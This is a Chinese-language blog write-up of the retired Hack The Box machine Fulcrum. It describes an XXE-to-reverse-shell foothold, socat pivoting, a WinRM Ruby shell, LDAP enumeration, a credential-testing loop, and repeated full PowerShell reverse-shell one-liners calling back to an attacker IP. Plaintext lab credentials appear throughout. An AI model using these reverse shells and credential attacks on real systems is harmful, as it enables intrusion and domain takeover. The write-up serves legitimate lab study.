• HTB-靶机-Fulcrum


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.62

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.62 -o ./Fulcrum-autorecon

    此靶机有一定的难度,官方显示如下:

    扫描结果如下:

    根据开放的端口一个一个访问

    先放着,这里点击了下try again 看到显示的url,根据经验和前面做了靶机判断可能存在文件包含,先放着继续向下看

    一个Windows报错页面,暂时放着,后面测试,知道最终是要拿Windows的权限,继续

    是个phpmyadmin页面

    是个关于sense的web页面

    像是个api接口;

    到了这一步基本上该测试的端口都测试完了,那么我猜想这里的难度就是干扰太多,例如前面看到的phpmyadmin页面,sense也面都会导致测试者在这上面花很多实际,而实际情况是等你在前面的所有端口测试完毕之后,最后一个端口56423才是打开目标入口的必经之路,关于10.10.10.62:56423 此页面是需要通过burpsuite进行漫长的测试,最终得出存在xxe漏洞,然后配合前面提到的可能存在文件包含漏洞进行配置利用反弹拿shell

    反弹shell

    通过msf配置生成反弹shell代码,这里也是可以使用php-reverse-shell.php

    上面3步搞定完成之后,本地kali使用python搭建一个简易web,然后执行burpsuite的请求,即可反弹shell

    通过msf拿到的反弹shell不好升级tty-shell,我这里特地演示出来,如果要升级tty-shell需要在此shell基础之上再反弹个shell到本地kali然后套路就是一样的可以升级tty-shell,最终得出如下tty-shell

    拿到shell之后翻看了目标靶机的各种文件,得到如下重要信息

    这是个powershell加密的密码信息,解密以下

    得知了用户名WebUser 密码:M4ng£m£ntPa55

    可参考:

    https://devblogs.microsoft.com/scripting/decrypt-powershell-secure-string-password/
    https://github.com/PowerShell/PowerShell

    执行arp -an发现存在IP地址192.168.122.228 可以使用nc进行扫描,但是我觉得慢了,尝试使用静态编译好的二进制文件nmap进行扫描

    https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

    扫描出来目标开放了端口5986 ,这里是跟winrm有关,可以通过上面得到的账户和密码和这个端口进行反弹shell,在做这一步操作之前先使用ssh或者socat进行端口转发,我这里使用静态编译好的socat进行转发端口

    使用静态二进制文件socat进行端口转发
    目标靶机执行
    ./socat tcp-listen:28833,reuseaddr,fork tcp:192.168.122.228:5986 &
    kali上执行
    socat tcp-listen:5986,reuseaddr,fork tcp:10.10.10.62:28833 &
    上面的最终效果就是在kali本地监听了一个5986端口,这个端口相当于192.168.122.228的5986端口
    静态socat文件下载地址:https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat

    使用winrm管理

    对应shell脚本代码

    https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb
    修改代码保存名称为:bmfxrm.rb
    
    require 'winrm'
    
    # Author: Alamot
    
    conn = WinRM::Connection.new(
     endpoint: 'https://127.0.0.1:5986/wsman',
     transport: :ssl,
     user: 'webuser',
     password: 'M4ng£m£ntPa55',
     :no_ssl_peer_verification => true
    )
    
    command=""
    
    conn.shell(:powershell) do |shell|
        until command == "exit
    " do
            output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
            print(output.output.chomp)
            command = gets
            output = shell.run(command) do |stdout, stderr|
                STDOUT.print stdout
                STDERR.print stderr
            end
        end
        puts "Exiting with code #{output.exitcode}"
    end
    
    上述代码修改完成之后,安装对应的winrm以来文件
    sudo gem install -r winrm
    
    成功之后,执行ruby bmfxrm.rb

    还是不能拿到user.txt继续搞,执行下面代码收集需要信息

    (New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrumlocal", "fulcrumldap","PasswordForSearchin123!")),"(objectCategory=Computer)")).FindAll() | %{ $_.Properties.name }
    
    (New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrumlocal", "fulcrumldap","PasswordForSearchin123!")),"(info=*)")).FindAll() | %{ $_.Properties }

    得到上面的信息就可以跳到FULCRUMBTABLES ,具体执行如下,进行反弹shell

    $passwd = ConvertTo-SecureString '++FileServerLogon12345++' -AsPlainText -Force
    
    $cred = New-Object System.Management.Automation.PSCredential('FULCRUMBTABLES', $passwd)
    
    Invoke-Command -Computer File.fulcrum.local -Credential $cred -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }

    这里需要本地监听53端口进行反弹shell,其他端口有问题

    反弹成功之后,访问DC服务器,然后根据枚举获得的管理员账户和密码进行提权

    访问域控制器
    net use \dc.fulcrum.local
    etlogon /user:fulcrumtables ++FileServerLogon12345++
    
    进入域控制器
    cd \dc.fulcrum.local
    etlogon
    
    使用下面的脚本枚举出具备管理员权限的凭据名称
    function test($u,$p) { (new-object directoryservices.directoryentry "",$u,$p).psbase.name -ne $null; }; $files = @(gci \dc.fulcrum.local
    etlogon*.ps1); foreach ($file in $files) { $result = Select-String -Path $file -pattern "'(.*)'"; $user = $result.Matches[0].Groups[1].Value; $pass = $result.Matches[1].Groups[1].Value; if (test "fulcrum.local$user" "$pass") { echo "fulcrum.local$user $pass"; }; }
    
    上述运行结果得出管理员凭据名称
    fulcrum.local923a @fulcrum_bf392748ef4e_$

    上述操作完成就知道了账户和密码,那么我们就可以同样的方式使用监听53端口反弹shell,只是需要更改用户名和密码

    $passwd = ConvertTo-SecureString '@fulcrum_bf392748ef4e_$' -AsPlainText -Force
    
    $cred = New-Object System.Management.Automation.PSCredential('fulcrum.local923a', $passwd)
    
    Invoke-Command -Computer File.fulcrum.local -Credential $cred -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }

    $pass = convertto-securestring -AsPlainText -Force -String '@fulcrum_bf392748ef4e_$'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local923a',$pass; Invoke-Command -ComputerName dc.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock { cat C:UsersAdministratorDesktop
    oot.txt }

    这里也是不太明白,明明可以直接读取root.txt但是不成功,必须按照上面那么执行,网上给的资料看样子是可以那么操作,但实际不成功,有知道的大佬联系下

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    object引入出现滚动条问题
    java
    读大道至简有感
    读大道至简第二章有感
    加和程序的流程图及代码
    Unity编程标准导引Unity中的基本概念2.1界面概览
    Unity编程标准导引2.2Unity中的基本概念
    Unity编程标准导引3.1 Component 组件脚本及其基本生命周期
    Unity编程标准导引3.2 MonoBehavior 组件父类重构
    Unity编程标准导引1.1下载和安装Unity
  • 原文地址:https://www.cnblogs.com/autopwn/p/14049762.html
Copyright © 2020-2023  润新知